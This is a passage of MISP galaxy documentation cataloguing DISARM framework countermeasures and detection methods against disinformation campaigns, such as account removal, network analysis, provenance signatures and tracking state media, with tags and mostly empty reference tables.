The tag is: `misp-galaxy:disarm-countermeasures="Ban incident actors from funding sites"`

Better tell your country or organisation story

Civil engagement activities conducted on the part of EFP forces. NATO should likewise provide support and training, where needed, to local public affairs and other communication personnel. Local government and military public affairs personnel can play their part in creating and disseminating entertaining and sharable content that supports the EFP mission.

The tag is: `misp-galaxy:disarm-countermeasures="Better tell your country or organisation story"`

Have a disinformation response plan

e.g. Create a campaign plan and toolkit for competition short of armed conflict (this used to be called “the grey zone”). The campaign plan should account for own vulnerabilities and strengths, and not over-rely on any one tool of statecraft or line of effort. It will identify and employ a broad
spectrum of national power to deter, compete, and counter (where necessary) other countries’ approaches, and will include understanding of own capabilities, capabilities of disinformation creators, and international standards of conduct to compete in, shrink the size, and ultimately deter use of competition short of armed conflict.

The tag is: `misp-galaxy:disarm-countermeasures="Have a disinformation response plan"`

**Table 1126. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**find and train influencers**

Identify key influencers (e.g. use network analysis), then reach out to identified users and offer support, through either training or resources.

The tag is: `misp-galaxy:disarm-countermeasures="find and train influencers"`

**Table 1127. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Coalition Building with stakeholders and Third-Party Inducements**

Advance coalitions across borders and sectors, spanning public and private, as well as foreign and domestic, divides. Improve mechanisms to collaborate, share information, and develop coordinated approaches with the private sector at home and allies and partners abroad.

The tag is: `misp-galaxy:disarm-countermeasures="Coalition Building with stakeholders and Third-Party Inducements"`

**Table 1128. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Unravel/target the Potemkin villages**

Kremlin’s narrative spin extends through constellations of “civil society” organisations, political parties, churches, and other actors. Moscow leverages think tanks, human rights groups, election observers, Eurasianist integration groups, and orthodox groups. A collection of Russian civil society organisations, such as the Federal Agency for the Commonwealth of Independent States Affairs,
Compatriots Living Abroad, and International Humanitarian Cooperation, together receive at least US$100 million per year, in addition to government-organized nongovernmental organisations (NGOs), at least 150 of which are funded by Russian presidential grants totaling US$70 million per year.

The tag is: `misp-galaxy:disarm-countermeasures="Unravel/target the Potemkin villages"`

**Table 1129. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**compatriot policy**

protect the interests of this population and, more importantly, influence the population to support pro-Russia causes and effectively influence the politics of its neighbours

The tag is: `misp-galaxy:disarm-countermeasures="compatriot policy"`

**Table 1130. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Ensure integrity of official documents**

e.g. for leaked legal documents, use court motions to limit future discovery actions

The tag is: `misp-galaxy:disarm-countermeasures="Ensure integrity of official documents"`

**Table 1131. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**develop a creative content hub**

international donors will donate to a basket fund that will pay a committee of local experts who will, in turn, manage and distribute the money to Russian-language producers and broadcasters that pitch various projects.

The tag is: `misp-galaxy:disarm-countermeasures="develop a creative content hub"`

**Table 1132. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**elevate information as a critical domain of statecraft**

Shift from reactive to proactive response, with priority on sharing relevant information with the public and mobilising private-sector engagement. Recent advances in data-driven technologies have elevated information as a source of power to influence the political and economic environment, to foster economic growth, to enable a decision-making advantage over competitors, and to communicate securely and quickly.

The tag is: `misp-galaxy:disarm-countermeasures="elevate information as a critical domain of statecraft"`

**Table 1133. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**social media source removal**

Removing accounts, pages, groups, e.g. facebook page removal

The tag is: `misp-galaxy:disarm-countermeasures="social media source removal"`

**Table 1134. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Create a healthier news environment**

Free and fair press: create bipartisan, patriotic commitment to press freedom. Note difference between news and editorialising. Build alternative news sources: create alternative local-language news sources to counter local-language propaganda outlets. Delegitimize the 24 hour news cycle. includes Provide an alternative to disinformation content by expanding and improving local content: Develop content that can displace geopolitically-motivated narratives in the entire media environment, both new and old media alike.

The tag is: `misp-galaxy:disarm-countermeasures="Create a healthier news environment"`

**Table 1135. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Improve Coordination amongst stakeholders: public and private**

Coordinated disinformation challenges are increasingly multidisciplinary, there are few organisations within the national security structures that are equipped with the broad-spectrum capability to effectively counter large-scale conflict short of war tactics in real-time. Institutional hurdles currently impede diverse subject matter experts, hailing from outside of the traditional national security and foreign policy disciplines (e.g., physical science, engineering, media, legal, and economics fields), from contributing to the direct development of national security countermeasures to emerging conflict short of war threat vectors. A Cognitive Security Action Group (CSAG), akin to the Counterterrorism Security Group (CSG), could drive interagency alignment across equivalents of DHS, DoS, DoD, Intelligence Community, and other implementing agencies, in areas including strategic narrative, and the nexus of cyber and information operations.

The tag is: *misp-galaxy:disarm-countermeasures="Improve Coordination amongst stakeholders: public and private"*

**Table 1136. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Fill information voids with non-disinformation content**

1) Pollute the data voids with wholesome content (Kittens! Babyshark!). 2) fill data voids with relevant information, e.g. increase Russian-language programming in areas subject to Russian disinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Fill information voids with non-disinformation content"*

**Table 1137. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Redirection / malware detection/ remediation**

Detect redirection or malware, then quarantine or delete.

The tag is: *misp-galaxy:disarm-countermeasures="Redirection / malware detection/ remediation"*

**Table 1138. Table References**
Media exposure

highlight misinformation activities and actors in media

The tag is: misp-galaxy:disarm-countermeasures="Media exposure"

Table 1139. Table References

Newsroom/Journalist training to counter influence moves

Includes SEO influence. Includes promotion of a “higher standard of journalism”: journalism training “would be helpful, especially for the online community. Includes Strengthen local media: Improve effectiveness of local media outlets.

The tag is: misp-galaxy:disarm-countermeasures="Newsroom/Journalist training to counter influence moves"

Table 1140. Table References

Ensure that platforms are taking down flagged accounts

Use ongoing analysis/monitoring of "flagged" profiles. Confirm whether platforms are actively removing flagged accounts, and raise pressure via e.g. government organisations to encourage removal

The tag is: misp-galaxy:disarm-countermeasures="Ensure that platforms are taking down flagged accounts"

Table 1141. Table References
**open engagement with civil society**

Government open engagement with civil society as an independent check on government action and messaging. Government seeks to coordinate and synchronise narrative themes with allies and partners while calibrating action in cases where elements in these countries may have been co-opted by competitor nations. Includes “fight in the light”: Use leadership in the arts, entertainment, and media to highlight and build on fundamental tenets of democracy.

The tag is: `misp-galaxy:disarm-countermeasures="open engagement with civil society"`

**Redirect searches away from disinformation or extremist content**

Use Google AdWords to identify instances in which people search Google about particular fake-news stories or propaganda themes. Includes Monetize centrist SEO by subsidising the difference in greater clicks towards extremist content.

The tag is: `misp-galaxy:disarm-countermeasures="Redirect searches away from disinformation or extremist content"`

**remove suspicious accounts**

Standard reporting for false profiles (identity issues). Includes detecting hijacked accounts and reallocating them - if possible, back to original owners.

The tag is: `misp-galaxy:disarm-countermeasures="remove suspicious accounts"`
Respected figure (influencer) disavows misinfo

FIXIT: standardise language used for influencer/ respected figure.

The tag is: `misp-galaxy:disarm-countermeasures="Respected figure (influencer) disavows misinfo"

<table>
<thead>
<tr>
<th>Table 1145. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00200.md" alt="GitHub" /></td>
</tr>
</tbody>
</table>

Set data 'honeytraps'

Set honeytraps in content likely to be accessed for disinformation.

The tag is: `misp-galaxy:disarm-countermeasures="Set data 'honeytraps"`

<table>
<thead>
<tr>
<th>Table 1146. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00202.md" alt="GitHub" /></td>
</tr>
</tbody>
</table>

Stop offering press credentials to propaganda outlets

Remove access to official press events from known misinformation actors.

The tag is: `misp-galaxy:disarm-countermeasures="Stop offering press credentials to propaganda outlets"

<table>
<thead>
<tr>
<th>Table 1147. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00203.md" alt="GitHub" /></td>
</tr>
</tbody>
</table>

strong dialogue between the federal government and private sector to encourage better reporting

Increase civic resilience by partnering with business community to combat grey zone threats and ensuring adequate reporting and enforcement mechanisms.

The tag is: `misp-galaxy:disarm-countermeasures="strong dialogue between the federal government and private sector to encourage better reporting"

<table>
<thead>
<tr>
<th>Table 1148. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00203.md" alt="GitHub" /></td>
</tr>
</tbody>
</table>
Run a competing disinformation campaign - not recommended

The tag is: misp-galaxy:disarm-countermeasures="Run a competing disinformation campaign - not recommended"

Table 1149. Table References

Use humorous counter-narratives

The tag is: misp-galaxy:disarm-countermeasures="Use humorous counter-narratives"

Table 1150. Table References

build public resilience by making civil society more vibrant

Increase public service experience, and support wider civics and history education.

The tag is: misp-galaxy:disarm-countermeasures="build public resilience by making civil society more vibrant"

Table 1151. Table References

Use advertiser controls to stem flow of funds to bad actors

Prevent ad revenue going to disinformation domains
The tag is: *misp-galaxy:disarm-countermeasures*="Use advertiser controls to stem flow of funds to bad actors"
### Tabletop simulations

Simulate misinformation and disinformation campaigns, and responses to them, before campaigns happen.

The tag is: `misp-galaxy:disarm-countermeasures="Tabletop simulations"`

**Table 1156. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Strengthen Trust in social media platforms

Improve trust in the misinformation responses from social media and other platforms. Examples include creating greater transparency on their actions and algorithms.

The tag is: `misp-galaxy:disarm-countermeasures="Strengthen Trust in social media platforms"`

**Table 1157. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Detections

DISARM is a framework designed for describing and understanding disinformation incidents.

- Detections is a cluster galaxy available in JSON format at [this location](https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00221.md). The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

DISARM Project

### Analyse aborted / failed campaigns

Examine failed campaigns. How did they fail? Can we create useful activities that increase these failures?

The tag is: `misp-galaxy:disarm-detections="Analyze aborted / failed campaigns"`

**Table 1158. Table References**

436
Analyse viral fizzle

We have no idea what this means. Is it something to do with the way a viral story spreads?

The tag is: misp-galaxy:disarm-detections="Analyse viral fizzle"

Table 1159. Table References

Exploit counter-intelligence vs bad actors

The tag is: misp-galaxy:disarm-detections="Exploit counter-intelligence vs bad actors"

Table 1160. Table References

Recruit like-minded converts "people who used to be in-group"

The tag is: misp-galaxy:disarm-detections="Recruit like-minded converts "people who used to be in-group""

Table 1161. Table References

SWOT Analysis of Cognition in Various Groups

Strengths, Weaknesses, Opportunities, Threats analysis of groups and audience segments.

The tag is: misp-galaxy:disarm-detections="SWOT Analysis of Cognition in Various Groups"

Table 1162. Table References
SWOT analysis of tech platforms

The tag is: misp-galaxy:disarm-detections="SWOT analysis of tech platforms"

Table 1163. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Monitor account level activity in social networks

The tag is: misp-galaxy:disarm-detections="Monitor account level activity in social networks"

Table 1164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Detect abnormal amplification

The tag is: misp-galaxy:disarm-detections="Detect abnormal amplification"

Table 1165. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Detect abnormal events

The tag is: misp-galaxy:disarm-detections="Detect abnormal events"

Table 1166. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Detect abnormal groups

The tag is: misp-galaxy:disarm-detections="Detect abnormal groups"
Detect abnormal pages

The tag is: *misp-galaxy:disarm-detections*="Detect abnormal pages"

Detect abnormal profiles, e.g. prolific pages/ groups/ people

The tag is: *misp-galaxy:disarm-detections*="Detect abnormal profiles, e.g. prolific pages/ groups/ people"

Identify fake news sites

The tag is: *misp-galaxy:disarm-detections*="Identify fake news sites"

Trace connections

for e.g. fake news sites

The tag is: *misp-galaxy:disarm-detections*="Trace connections"
Detect anomalies in membership growth patterns

I include Fake Experts as they may use funding campaigns such as Patreon to fund their operations and so these should be watched.

The tag is: `misp-galaxy:disarm-detections="Detect anomalies in membership growth patterns"`

Table 1172. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Identify fence-sitters

Note: In each case, depending on the platform there may be a way to identify a fence-sitter. For example, online polls may have a neutral option or a "somewhat this-or-that" option, and may reveal who voted for that to all visitors. This information could be of use to data analysts. In TA08-11, the engagement level of victims could be identified to detect and respond to increasing engagement.

The tag is: `misp-galaxy:disarm-detections="Identify fence-sitters"`

Table 1173. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Measure emotional valence

The tag is: `misp-galaxy:disarm-detections="Measure emotional valence"`

Table 1174. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Follow the money

track funding sources

The tag is: `misp-galaxy:disarm-detections="Follow the money"`
Activity resurgence detection (alarm when dormant accounts become activated)

The tag is: `misp-galaxy:disarm-detections="Activity resurgence detection (alarm when dormant accounts become activated)"

Detect anomalous activity

The tag is: `misp-galaxy:disarm-detections="Detect anomalous activity"

AI/ML automated early detection of campaign planning

The tag is: `misp-galaxy:disarm-detections="AI/ML automated early detection of campaign planning"

Digital authority - regulating body (united states)

The tag is: `misp-galaxy:disarm-detections="Digital authority - regulating body (united states)"`
Periodic verification (counter to hijack legitimate account)

The tag is: misp-galaxy:disarm-detections="Periodic verification (counter to hijack legitimate account)"

Table 1180. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Teach civics to kids/ adults/ seniors

The tag is: misp-galaxy:disarm-detections="Teach civics to kids/ adults/ seniors"

Table 1181. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Boots-on-the-ground early narrative detection

The tag is: misp-galaxy:disarm-detections="Boots-on-the-ground early narrative detection"

Table 1182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Language anomaly detection

The tag is: misp-galaxy:disarm-detections="Language anomaly detection"

Table 1183. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Unlikely correlation of sentiment on same topics

The tag is: `misp-galaxy:disarm-detections="Unlikely correlation of sentiment on same topics"`

Table 1184. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Associate a public key signature with government documents

The tag is: `misp-galaxy:disarm-detections="Associate a public key signature with government documents"`

Table 1185. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Detect proto narratives, i.e. RT, Sputnik

The tag is: `misp-galaxy:disarm-detections="Detect proto narratives, i.e. RT, Sputnik"`

Table 1186. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Early detection and warning - reporting of suspect content

The tag is: `misp-galaxy:disarm-detections="Early detection and warning - reporting of suspect content"`

Table 1187. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Educate on how to identify information pollution

Strategic planning included as innoculating population has strategic value.

The tag is: misp-galaxy:disarm-detections="Educate on how to identify information pollution"

Table 1188. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Educate on how to identify to pollution

DUPLICATE - DELETE

The tag is: misp-galaxy:disarm-detections="Educate on how to identify to pollution"

Table 1189. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Fake websites: add transparency on business model

The tag is: misp-galaxy:disarm-detections="Fake websites: add transparency on business model"

Table 1190. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Flag the information spaces so people know about active flooding effort

The tag is: misp-galaxy:disarm-detections="Flag the information spaces so people know about active flooding effort"

Table 1191. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Identify repeated narrative DNA

The tag is: misp-galaxy:disarm-detections="Identify repeated narrative DNA"

Table 1192. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Looking for AB testing in unregulated channels

The tag is: misp-galaxy:disarm-detections="Looking for AB testing in unregulated channels"

Table 1193. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

News content provenance certification.

Original Comment: Shortcomings: intentional falsehood. Doesn't solve accuracy. Can't be mandatory. Technique should be in terms of "strategic innoculation", raising the standards of what people expect in terms of evidence when consuming news.

The tag is: misp-galaxy:disarm-detections="News content provenance certification."

Table 1194. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Social capital as attack vector

Unsure I understood the original intention or what it applied to. Therefore the techniques listed (10, 39, 43, 57, 61) are under my interpretation - which is that we want to track ignorant agents who fall into the enemy's trap and show a cost to financing/reposting/helping the adversary via public shaming or other means.

The tag is: misp-galaxy:disarm-detections="Social capital as attack vector"

Table 1195. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
standards to track image/ video deep fakes - industry

The tag is: misp-galaxy:disarm-detections="standards to track image/ video deep fakes - industry"

Table 1196. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Unalterable metadata signature on origins of image and provenance

The tag is: misp-galaxy:disarm-detections="Unalterable metadata signature on origins of image and provenance"

Table 1197. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Bias detection

Not technically left of boom

The tag is: misp-galaxy:disarm-detections="Bias detection"

Table 1198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Categorise polls by intent

Use T0029, but against the creators

The tag is: misp-galaxy:disarm-detections="Categorise polls by intent"

Table 1199. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

446
Monitor for creation of fake known personas

Platform companies and some information security companies (e.g. ZeroFox) do this.

The tag is: `misp-galaxy:disarm-detections="Monitor for creation of fake known personas"`

Table 1200. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Forensic analysis

Can be used in all phases for all techniques.

The tag is: `misp-galaxy:disarm-detections="Forensic analysis"`

Table 1201. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Forensic linguistic analysis

Can be used in all phases for all techniques.

The tag is: `misp-galaxy:disarm-detections="Forensic linguistic analysis"`

Table 1202. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Pump priming analytics

The tag is: `misp-galaxy:disarm-detections="Pump priming analytics"`

Table 1203. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**trace involved parties**

The tag is: `misp-galaxy:disarm-detections="trace involved parties"

*Table 1204. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Trace known operations and connection**

The tag is: `misp-galaxy:disarm-detections="Trace known operations and connection"

*Table 1205. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**trace money**

The tag is: `misp-galaxy:disarm-detections="trace money"

*Table 1206. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Web cache analytics**

The tag is: `misp-galaxy:disarm-detections="Web cache analytics"

*Table 1207. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Challenge expertise**

The tag is: `misp-galaxy:disarm-detections="Challenge expertise"

*Table 1208. Table References*
Discover sponsors

Discovering the sponsors behind a campaign, narrative, bot, a set of accounts, or a social media comment, or anything else is useful.

The tag is: *misp-galaxy:disarm-detections*="Discover sponsors"

Table 1209. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Government rumour control office (what can we learn?)

The tag is: *misp-galaxy:disarm-detections*="Government rumour control office (what can we learn?)"

Table 1210. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Restrict people who can @ you on social networks

The tag is: *misp-galaxy:disarm-detections*="Restrict people who can @ you on social networks"

Table 1211. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Verify credentials

The tag is: *misp-galaxy:disarm-detections*="Verify credentials"

Table 1212. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Verify organisation legitimacy

The tag is: misp-galaxy:disarm-detections="Verify organisation legitimacy"

Table 1213. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Verify personal credentials of experts

The tag is: misp-galaxy:disarm-detections="Verify personal credentials of experts"

Table 1214. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Deplatform (cancel culture)

*Deplatform People: This technique needs to be a bit more specific to distinguish it from "account removal" or DDOS and other techniques that get more specific when applied to content. For example, other ways of deplatforming people include attacking their sources of funds, their allies, their followers, etc.

The tag is: misp-galaxy:disarm-detections="Deplatform (cancel culture)"

Table 1215. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify susceptible demographics

All techniques provide or are susceptible to being countered by, or leveraged for, knowledge about user demographics.

The tag is: misp-galaxy:disarm-detections="Identify susceptible demographics"

Table 1216. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Identify susceptible influencers

I assume this was a transcript error. Otherwise, “Identify Susceptible Influences” as in the various methods of influences that may work against a victim could also be a technique. Nope, wasn’t a transcript error: original note says influencers, as in find people of influence that might be targetted.

The tag is: misp-galaxy:disarm-detections="Identify susceptible influencers"

Table 1217. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Microtargeting

The tag is: misp-galaxy:disarm-detections="Microtargeting"

Table 1218. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Detect when Dormant account turns active

The tag is: misp-galaxy:disarm-detections="Detect when Dormant account turns active"

Table 1219. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Linguistic change analysis

The tag is: misp-galaxy:disarm-detections="Linguistic change analysis"

Table 1220. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Monitor reports of account takeover

The tag is: misp-galaxy:disarm-detections="Monitor reports of account takeover"

Table 1221. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Sentiment change analysis

The tag is: misp-galaxy:disarm-detections="Sentiment change analysis"

Table 1222. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Use language errors, time to respond to account bans and lawsuits, to indicate capabilities

The tag is: misp-galaxy:disarm-detections="Use language errors, time to respond to account bans and lawsuits, to indicate capabilities"

Table 1223. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Data forensics

The tag is: misp-galaxy:disarm-detections="Data forensics"

Table 1224. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Resonance analysis

a developing methodology for identifying statistical differences in how social groups use language and quantifying how common those statistical differences are within a larger population. In essence, it hypothesises how much affinity might exist for a specific group within a general
population, based on the language its members employ

The tag is: `misp-galaxy:disarm-detections="Resonance analysis"`

**Table 1225. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Track Russian media and develop analytic methods.**

To effectively counter Russian propaganda, it will be critical to track Russian influence efforts. The information requirements are varied and include the following: • Identify fake-news stories and their sources. • Understand narrative themes and content that pervade various Russian media sources. • Understand the broader Russian strategy that underlies tactical propaganda messaging.

The tag is: `misp-galaxy:disarm-detections="Track Russian media and develop analytic methods."`

**Table 1226. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Full spectrum analytics**

The tag is: `misp-galaxy:disarm-detections="Full spectrum analytics"`

**Table 1227. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Network analysis Identify/cultivate/support influencers**

Local influencers detected via Twitter networks are likely local influencers in other online and offline channels as well. In addition, the content and themes gleaned from Russia and Russia-supporting populations, as well as anti-Russia activists, likely swirl in other online and off-line mediums as well.

The tag is: `misp-galaxy:disarm-detections="Network analysis Identify/cultivate/support influencers"`

**Table 1228. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
network analysis to identify central users in the pro-Russia activist community.

It is possible that some of these are bots or trolls and could be flagged for suspension for violating Twitter’s terms of service.

The tag is: *misp-galaxy:disarm-detections="network analysis to identify central users in the pro-Russia activist community."

Table 1229. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

collect intel/recon on black/covert content creators/manipulators

Players at the level of covert attribution, referred to as “black” in the grayscale of deniability, produce content on user-generated media, such as YouTube, but also add fear-mongering commentary to and amplify content produced by others and supply exploitable content to data dump websites. These activities are conducted by a network of trolls, bots, honeypots, and hackers.

The tag is: *misp-galaxy:disarm-detections="collect intel/recon on black/covert content creators/manipulators"

Table 1230. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

identify relevant fence-sitter communities

Brand ambassador programmes could be used with influencers across a variety of social media channels. It could also target other prominent experts, such as academics, business leaders, and other potentially prominent people. Authorities must ultimately take care in implementing such a programme given the risk that contact with U.S. or NATO authorities might damage influencer reputations. Engagements must consequently be made with care, and, if possible, government interlocutors should work through local NGOs.

The tag is: *misp-galaxy:disarm-detections="identify relevant fence-sitter communities"

Table 1231. Table References
leverage open-source information

significant amounts of quality open-source information are now available and should be leveraged to build products and analysis prior to problem prioritisation in the areas of observation, attribution, and intent. Successfully distinguishing the grey zone campaign signal through the global noise requires action through the entirety of the national security community. Policy, process, and tools must all adapt and evolve to detect, discern, and act upon a new type of signal

The tag is: `misp-galaxy:disarm-detections="leverage open-source information"`

Monitor/collect audience engagement data connected to “useful idiots”

Target audience connected to “useful idiots rather than the specific profiles because - The active presence of such sources complicates targeting of Russian propaganda, given that it is often difficult to discriminate between authentic views and opinions on the internet and those disseminated by the Russian state.

The tag is: `misp-galaxy:disarm-detections="Monitor/collect audience engagement data connected to “useful idiots”"`

Model for bot account behaviour

Bot account: action based, people. Unsure which DISARM techniques.

The tag is: `misp-galaxy:disarm-detections="Model for bot account behaviour"`

Table 1232. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Table 1233. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Table 1234. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Network anomaly detection

The tag is: misp-galaxy:disarm-detections="Network anomaly detection"

Table 1235. Table References

Links


Hack the polls/ content yourself

Two wrongs don’t make a right? But if you hack your own polls, you do learn how it could be done, and learn what to look for

The tag is: misp-galaxy:disarm-detections="Hack the polls/ content yourself"

Table 1236. Table References

Links


Need way for end user to report operations

The tag is: misp-galaxy:disarm-detections="Need way for end user to report operations"

Table 1237. Table References

Links


Control the US "slang" translation boards

The tag is: misp-galaxy:disarm-detections="Control the US "slang" translation boards"

Table 1238. Table References

Links

Build and own meme generator, then track and watermark contents

The tag is: misp-galaxy:disarm-detections="Build and own meme generator, then track and watermark contents"

Table 1239. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Track individual bad actors

The tag is: misp-galaxy:disarm-detections="Track individual bad actors"

Table 1240. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

detection of a weak signal through global noise

Grey zone threats are challenging given that warning requires detection of a weak signal through global noise and across threat vectors and regional boundaries. Three interconnected grey zone elements characterise the nature of the activity: Temporality: The nature of grey zone threats truly requires a “big picture view” over long timescales and across regions and functional topics. Attribution: requiring an “almost certain” or “nearly certain analytic assessment before acting costs time and analytic effort Intent: judgement of adversarial intent to conduct grey zone activity. Indeed, the purpose of countering grey zone threats is to deter adversaries from fulfilling their intent to act. While attribution is one piece of the puzzle, closing the space around intent often means synthesising multiple relevant indicators and warnings, including the state’s geopolitical ambitions, military ties, trade and investment, level of corruption, and media landscape, among others.

The tag is: misp-galaxy:disarm-detections="detection of a weak signal through global noise"

Table 1241. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Outpace Competitor Intelligence Capabilities

Develop an intelligence-based understanding of foreign actors’ motivations, psychologies, and
societal and geopolitical contexts. Leverage artificial intelligence to identify patterns and infer competitors’ intent

The tag is: misp-galaxy:disarm-detections="Outpace Competitor Intelligence Capabilities"

**Table 1242. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Improve Indications and Warning**

United States has not adequately adapted its information indicators and thresholds for warning policymakers to account for grey zone tactics. Competitors have undertaken a marked shift to slow-burn, deceptive, non-military, and indirect challenges to U.S. interests. Relative to traditional security indicators and warnings, these are more numerous and harder to detect and make it difficult for analysts to infer intent.

The tag is: misp-galaxy:disarm-detections="Improve Indications and Warning"

**Table 1243. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Revitalise an “active measures working group,”**

Recognise campaigns from weak signals, including rivals’ intent, capability, impact, interactive effects, and impact on U.S. interests... focus on adversarial covert action aspects of campaigning.

The tag is: misp-galaxy:disarm-detections="Revitalise an “active measures working group,”"

**Table 1244. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**target/name/flag "grey zone" website content**

